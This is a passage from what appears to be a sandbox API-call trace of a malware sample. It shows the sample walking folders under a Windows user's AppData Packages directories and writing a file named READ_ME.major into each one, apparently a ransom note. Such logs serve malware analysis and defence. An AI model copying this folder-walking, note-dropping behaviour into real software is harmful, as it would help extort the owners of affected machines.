dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x984 [0191.425] WriteFile (in: hFile=0x984, lpBuffer=0x58c768*, nNumberOfBytesToWrite=0x984, lpNumberOfBytesWritten=0x2e3faf4, lpOverlapped=0x0 | out: lpBuffer=0x58c768*, lpNumberOfBytesWritten=0x2e3faf4*=0x984, lpOverlapped=0x0) returned 1 [0191.426] CloseHandle (hObject=0x984) returned 1 [0191.426] FindNextFileW (in: hFindFile=0x2f868a8, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfabdcd6c, ftCreationTime.dwHighDateTime=0x1d32714, ftLastAccessTime.dwLowDateTime=0xd2592721, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xfabdcd6c, ftLastWriteTime.dwHighDateTime=0x1d32714, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="TempState", cAlternateFileName="TEMPST~1")) returned 0 [0191.426] FindFirstFileW (in: lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.ZuneVideo_8wekyb3d8bbwe\\*", lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf679d775, ftCreationTime.dwHighDateTime=0x1d32714, ftLastAccessTime.dwLowDateTime=0x8f25108d, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0x244b117c, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName=".", cAlternateFileName="")) returned 0x2f86aa8 [0191.426] FindNextFileW (in: hFindFile=0x2f86aa8, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf679d775, ftCreationTime.dwHighDateTime=0x1d32714, ftLastAccessTime.dwLowDateTime=0x8f25108d, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0x244b117c, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="..", cAlternateFileName="")) returned 1 [0191.426] FindNextFileW (in: hFindFile=0x2f86aa8, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xf68824d4, ftCreationTime.dwHighDateTime=0x1d32714, ftLastAccessTime.dwLowDateTime=0x3a34c4f0, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0x3a34c4f0, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="AC", cAlternateFileName="")) returned 1 [0191.426] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.ZuneVideo_8wekyb3d8bbwe\\AC\\READ_ME.major" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.zunevideo_8wekyb3d8bbwe\\ac\\read_me.major"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x988 [0191.446] WriteFile (in: hFile=0x988, lpBuffer=0x58c768*, nNumberOfBytesToWrite=0x984, lpNumberOfBytesWritten=0x2e3faf4, lpOverlapped=0x0 | out: lpBuffer=0x58c768*, lpNumberOfBytesWritten=0x2e3faf4*=0x984, lpOverlapped=0x0) returned 1 [0191.447] CloseHandle (hObject=0x988) returned 1 [0191.447] FindNextFileW (in: hFindFile=0x2f86aa8, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf685c2d2, ftCreationTime.dwHighDateTime=0x1d32714, ftLastAccessTime.dwLowDateTime=0xd263aaf4, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xf685c2d2, ftLastWriteTime.dwHighDateTime=0x1d32714, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="AppData", cAlternateFileName="")) returned 1 [0191.447] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.ZuneVideo_8wekyb3d8bbwe\\AppData\\READ_ME.major" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.zunevideo_8wekyb3d8bbwe\\appdata\\read_me.major"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x988 [0191.448] WriteFile (in: hFile=0x988, lpBuffer=0x58c768*, nNumberOfBytesToWrite=0x984, lpNumberOfBytesWritten=0x2e3faf4, lpOverlapped=0x0 | out: lpBuffer=0x58c768*, lpNumberOfBytesWritten=0x2e3faf4*=0x984, lpOverlapped=0x0) returned 1 [0191.449] CloseHandle (hObject=0x988) returned 1 [0191.449] FindNextFileW (in: hFindFile=0x2f86aa8, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf67c392c, ftCreationTime.dwHighDateTime=0x1d32714, ftLastAccessTime.dwLowDateTime=0xd263b30b, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xf67c392c, ftLastWriteTime.dwHighDateTime=0x1d32714, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="LocalCache", cAlternateFileName="LOCALC~1")) returned 1 [0191.450] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.ZuneVideo_8wekyb3d8bbwe\\LocalCache\\READ_ME.major" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.zunevideo_8wekyb3d8bbwe\\localcache\\read_me.major"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x988 [0191.450] WriteFile (in: hFile=0x988, lpBuffer=0x58c768*, nNumberOfBytesToWrite=0x984, lpNumberOfBytesWritten=0x2e3faf4, lpOverlapped=0x0 | out: lpBuffer=0x58c768*, lpNumberOfBytesWritten=0x2e3faf4*=0x984, lpOverlapped=0x0) returned 1 [0191.451] CloseHandle (hObject=0x988) returned 1 [0191.451] FindNextFileW (in: hFindFile=0x2f86aa8, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf679d775, ftCreationTime.dwHighDateTime=0x1d32714, ftLastAccessTime.dwLowDateTime=0xd263bbc8, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xf679d775, ftLastWriteTime.dwHighDateTime=0x1d32714, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="LocalState", cAlternateFileName="LOCALS~1")) returned 1 [0191.451] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.ZuneVideo_8wekyb3d8bbwe\\LocalState\\READ_ME.major" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.zunevideo_8wekyb3d8bbwe\\localstate\\read_me.major"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x988 [0191.451] WriteFile (in: hFile=0x988, lpBuffer=0x58c768*, nNumberOfBytesToWrite=0x984, lpNumberOfBytesWritten=0x2e3faf4, lpOverlapped=0x0 | out: lpBuffer=0x58c768*, lpNumberOfBytesWritten=0x2e3faf4*=0x984, lpOverlapped=0x0) returned 1 [0191.452] CloseHandle (hObject=0x988) returned 1 [0191.452] FindNextFileW (in: hFindFile=0x2f86aa8, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x244b117c, ftCreationTime.dwHighDateTime=0x1d50249, ftLastAccessTime.dwLowDateTime=0x244b117c, ftLastAccessTime.dwHighDateTime=0x1d50249, ftLastWriteTime.dwLowDateTime=0x244b117c, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x984, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="READ_ME.major", cAlternateFileName="READ_M~1.MAJ")) returned 1 [0191.452] FindNextFileW (in: hFindFile=0x2f86aa8, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf679d775, ftCreationTime.dwHighDateTime=0x1d32714, ftLastAccessTime.dwLowDateTime=0xd263c636, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xf679d775, ftLastWriteTime.dwHighDateTime=0x1d32714, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="RoamingState", cAlternateFileName="ROAMIN~1")) returned 1 [0191.452] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.ZuneVideo_8wekyb3d8bbwe\\RoamingState\\READ_ME.major" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.zunevideo_8wekyb3d8bbwe\\roamingstate\\read_me.major"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x988 [0191.456] WriteFile (in: hFile=0x988, lpBuffer=0x58c768*, nNumberOfBytesToWrite=0x984, lpNumberOfBytesWritten=0x2e3faf4, lpOverlapped=0x0 | out: lpBuffer=0x58c768*, lpNumberOfBytesWritten=0x2e3faf4*=0x984, lpOverlapped=0x0) returned 1 [0191.457] CloseHandle (hObject=0x988) returned 1 [0191.457] FindNextFileW (in: hFindFile=0x2f86aa8, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf67c392c, ftCreationTime.dwHighDateTime=0x1d32714, ftLastAccessTime.dwLowDateTime=0x713b1523, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0x713b1523, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="Settings", cAlternateFileName="")) returned 1 [0191.457] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.ZuneVideo_8wekyb3d8bbwe\\Settings\\READ_ME.major" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.zunevideo_8wekyb3d8bbwe\\settings\\read_me.major"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x988 [0191.459] WriteFile (in: hFile=0x988, lpBuffer=0x58c768*, nNumberOfBytesToWrite=0x984, lpNumberOfBytesWritten=0x2e3faf4, lpOverlapped=0x0 | out: lpBuffer=0x58c768*, lpNumberOfBytesWritten=0x2e3faf4*=0x984, lpOverlapped=0x0) returned 1 [0191.459] CloseHandle (hObject=0x988) returned 1 [0191.460] FindNextFileW (in: hFindFile=0x2f86aa8, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8efa262b, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0x8efa262b, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0x8efa262b, ftLastWriteTime.dwHighDateTime=0x1d32744, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="SystemAppData", cAlternateFileName="SYSTEM~1")) returned 1 [0191.460] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.ZuneVideo_8wekyb3d8bbwe\\SystemAppData\\READ_ME.major" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.zunevideo_8wekyb3d8bbwe\\systemappdata\\read_me.major"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x988 [0191.460] WriteFile (in: hFile=0x988, lpBuffer=0x58c768*, nNumberOfBytesToWrite=0x984, lpNumberOfBytesWritten=0x2e3faf4, lpOverlapped=0x0 | out: lpBuffer=0x58c768*, lpNumberOfBytesWritten=0x2e3faf4*=0x984, lpOverlapped=0x0) returned 1 [0191.461] CloseHandle (hObject=0x988) returned 1 [0191.461] FindNextFileW (in: hFindFile=0x2f86aa8, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf679d775, ftCreationTime.dwHighDateTime=0x1d32714, ftLastAccessTime.dwLowDateTime=0xd26b6dbb, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xf679d775, ftLastWriteTime.dwHighDateTime=0x1d32714, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="TempState", cAlternateFileName="TEMPST~1")) returned 1 [0191.461] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.ZuneVideo_8wekyb3d8bbwe\\TempState\\READ_ME.major" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.zunevideo_8wekyb3d8bbwe\\tempstate\\read_me.major"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x988 [0191.461] WriteFile (in: hFile=0x988, lpBuffer=0x58c768*, nNumberOfBytesToWrite=0x984, lpNumberOfBytesWritten=0x2e3faf4, lpOverlapped=0x0 | out: lpBuffer=0x58c768*, lpNumberOfBytesWritten=0x2e3faf4*=0x984, lpOverlapped=0x0) returned 1 [0191.462] CloseHandle (hObject=0x988) returned 1 [0191.462] FindNextFileW (in: hFindFile=0x2f86aa8, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf679d775, ftCreationTime.dwHighDateTime=0x1d32714, ftLastAccessTime.dwLowDateTime=0xd26b6dbb, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xf679d775, ftLastWriteTime.dwHighDateTime=0x1d32714, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="TempState", cAlternateFileName="TEMPST~1")) returned 0 [0191.462] FindFirstFileW (in: lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Windows.ContactSupport_cw5n1h2txyewy\\*", lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x99201695, ftCreationTime.dwHighDateTime=0x1d32714, ftLastAccessTime.dwLowDateTime=0x789ce851, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0x244b117c, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName=".", cAlternateFileName="")) returned 0x2f86c28 [0191.463] FindNextFileW (in: hFindFile=0x2f86c28, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x99201695, ftCreationTime.dwHighDateTime=0x1d32714, ftLastAccessTime.dwLowDateTime=0x789ce851, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0x244b117c, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="..", cAlternateFileName="")) returned 1 [0191.463] FindNextFileW (in: hFindFile=0x2f86c28, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x9929a00a, ftCreationTime.dwHighDateTime=0x1d32714, ftLastAccessTime.dwLowDateTime=0x3a6b9b29, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0x3a6b9b29, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="AC", cAlternateFileName="")) returned 1 [0191.463] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Windows.ContactSupport_cw5n1h2txyewy\\AC\\READ_ME.major" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\windows.contactsupport_cw5n1h2txyewy\\ac\\read_me.major"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x98c [0191.465] WriteFile (in: hFile=0x98c, lpBuffer=0x58c768*, nNumberOfBytesToWrite=0x984, lpNumberOfBytesWritten=0x2e3faf4, lpOverlapped=0x0 | out: lpBuffer=0x58c768*, lpNumberOfBytesWritten=0x2e3faf4*=0x984, lpOverlapped=0x0) returned 1 [0191.466] CloseHandle (hObject=0x98c) returned 1 [0191.466] FindNextFileW (in: hFindFile=0x2f86c28, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x992278f7, ftCreationTime.dwHighDateTime=0x1d32714, ftLastAccessTime.dwLowDateTime=0xd27bf9b8, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x992278f7, ftLastWriteTime.dwHighDateTime=0x1d32714, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="AppData", cAlternateFileName="")) returned 1 [0191.466] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Windows.ContactSupport_cw5n1h2txyewy\\AppData\\READ_ME.major" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\windows.contactsupport_cw5n1h2txyewy\\appdata\\read_me.major"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x98c [0191.467] WriteFile (in: hFile=0x98c, lpBuffer=0x58c768*, nNumberOfBytesToWrite=0x984, lpNumberOfBytesWritten=0x2e3faf4, lpOverlapped=0x0 | out: lpBuffer=0x58c768*, lpNumberOfBytesWritten=0x2e3faf4*=0x984, lpOverlapped=0x0) returned 1 [0191.469] CloseHandle (hObject=0x98c) returned 1 [0191.469] FindNextFileW (in: hFindFile=0x2f86c28, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x992278f7, ftCreationTime.dwHighDateTime=0x1d32714, ftLastAccessTime.dwLowDateTime=0xd27c03e0, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x992278f7, ftLastWriteTime.dwHighDateTime=0x1d32714, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="LocalCache", cAlternateFileName="LOCALC~1")) returned 1 [0191.469] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Windows.ContactSupport_cw5n1h2txyewy\\LocalCache\\READ_ME.major" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\windows.contactsupport_cw5n1h2txyewy\\localcache\\read_me.major"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x98c [0191.470] WriteFile (in: hFile=0x98c, lpBuffer=0x58c768*, nNumberOfBytesToWrite=0x984, lpNumberOfBytesWritten=0x2e3faf4, lpOverlapped=0x0 | out: lpBuffer=0x58c768*, lpNumberOfBytesWritten=0x2e3faf4*=0x984, lpOverlapped=0x0) returned 1 [0191.471] CloseHandle (hObject=0x98c) returned 1 [0191.471] FindNextFileW (in: hFindFile=0x2f86c28, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x99201695, ftCreationTime.dwHighDateTime=0x1d32714, ftLastAccessTime.dwLowDateTime=0xd27c0cd9, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x99201695, ftLastWriteTime.dwHighDateTime=0x1d32714, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="LocalState", cAlternateFileName="LOCALS~1")) returned 1 [0191.471] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Windows.ContactSupport_cw5n1h2txyewy\\LocalState\\READ_ME.major" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\windows.contactsupport_cw5n1h2txyewy\\localstate\\read_me.major"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x98c [0191.471] WriteFile (in: hFile=0x98c, lpBuffer=0x58c768*, nNumberOfBytesToWrite=0x984, lpNumberOfBytesWritten=0x2e3faf4, lpOverlapped=0x0 | out: lpBuffer=0x58c768*, lpNumberOfBytesWritten=0x2e3faf4*=0x984, lpOverlapped=0x0) returned 1 [0191.472] CloseHandle (hObject=0x98c) returned 1 [0191.472] FindNextFileW (in: hFindFile=0x2f86c28, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x244b117c, ftCreationTime.dwHighDateTime=0x1d50249, ftLastAccessTime.dwLowDateTime=0x244b117c, ftLastAccessTime.dwHighDateTime=0x1d50249, ftLastWriteTime.dwLowDateTime=0x244b117c, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x984, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="READ_ME.major", cAlternateFileName="READ_M~1.MAJ")) returned 1 [0191.472] FindNextFileW (in: hFindFile=0x2f86c28, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x99201695, ftCreationTime.dwHighDateTime=0x1d32714, ftLastAccessTime.dwLowDateTime=0xd27c1412, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x99201695, ftLastWriteTime.dwHighDateTime=0x1d32714, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="RoamingState", cAlternateFileName="ROAMIN~1")) returned 1 [0191.472] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Windows.ContactSupport_cw5n1h2txyewy\\RoamingState\\READ_ME.major" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\windows.contactsupport_cw5n1h2txyewy\\roamingstate\\read_me.major"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x98c [0191.473] WriteFile (in: hFile=0x98c, lpBuffer=0x58c768*, nNumberOfBytesToWrite=0x984, lpNumberOfBytesWritten=0x2e3faf4, lpOverlapped=0x0 | out: lpBuffer=0x58c768*, lpNumberOfBytesWritten=0x2e3faf4*=0x984, lpOverlapped=0x0) returned 1 [0191.474] CloseHandle (hObject=0x98c) returned 1 [0191.474] FindNextFileW (in: hFindFile=0x2f86c28, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x992278f7, ftCreationTime.dwHighDateTime=0x1d32714, ftLastAccessTime.dwLowDateTime=0x713b1523, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0x713b1523, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="Settings", cAlternateFileName="")) returned 1 [0191.474] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Windows.ContactSupport_cw5n1h2txyewy\\Settings\\READ_ME.major" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\windows.contactsupport_cw5n1h2txyewy\\settings\\read_me.major"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x98c [0191.476] WriteFile (in: hFile=0x98c, lpBuffer=0x58c768*, nNumberOfBytesToWrite=0x984, lpNumberOfBytesWritten=0x2e3faf4, lpOverlapped=0x0 | out: lpBuffer=0x58c768*, lpNumberOfBytesWritten=0x2e3faf4*=0x984, lpOverlapped=0x0) returned 1 [0191.477] CloseHandle (hObject=0x98c) returned 1 [0191.477] FindNextFileW (in: hFindFile=0x2f86c28, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x788510a7, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0x788510a7, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0x788510a7, ftLastWriteTime.dwHighDateTime=0x1d32744, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="SystemAppData", cAlternateFileName="SYSTEM~1")) returned 1 [0191.478] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Windows.ContactSupport_cw5n1h2txyewy\\SystemAppData\\READ_ME.major" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\windows.contactsupport_cw5n1h2txyewy\\systemappdata\\read_me.major"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x98c [0191.478] WriteFile (in: hFile=0x98c, lpBuffer=0x58c768*, nNumberOfBytesToWrite=0x984, lpNumberOfBytesWritten=0x2e3faf4, lpOverlapped=0x0 | out: lpBuffer=0x58c768*, lpNumberOfBytesWritten=0x2e3faf4*=0x984, lpOverlapped=0x0) returned 1 [0191.479] CloseHandle (hObject=0x98c) returned 1 [0191.479] FindNextFileW (in: hFindFile=0x2f86c28, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x99201695, ftCreationTime.dwHighDateTime=0x1d32714, ftLastAccessTime.dwLowDateTime=0xd28ef8f4, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x99201695, ftLastWriteTime.dwHighDateTime=0x1d32714, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="TempState", cAlternateFileName="TEMPST~1")) returned 1 [0191.479] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Windows.ContactSupport_cw5n1h2txyewy\\TempState\\READ_ME.major" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\windows.contactsupport_cw5n1h2txyewy\\tempstate\\read_me.major"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x98c [0191.479] WriteFile (in: hFile=0x98c, lpBuffer=0x58c768*, nNumberOfBytesToWrite=0x984, lpNumberOfBytesWritten=0x2e3faf4, lpOverlapped=0x0 | out: lpBuffer=0x58c768*, lpNumberOfBytesWritten=0x2e3faf4*=0x984, lpOverlapped=0x0) returned 1 [0191.480] CloseHandle (hObject=0x98c) returned 1 [0191.480] FindNextFileW (in: hFindFile=0x2f86c28, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, 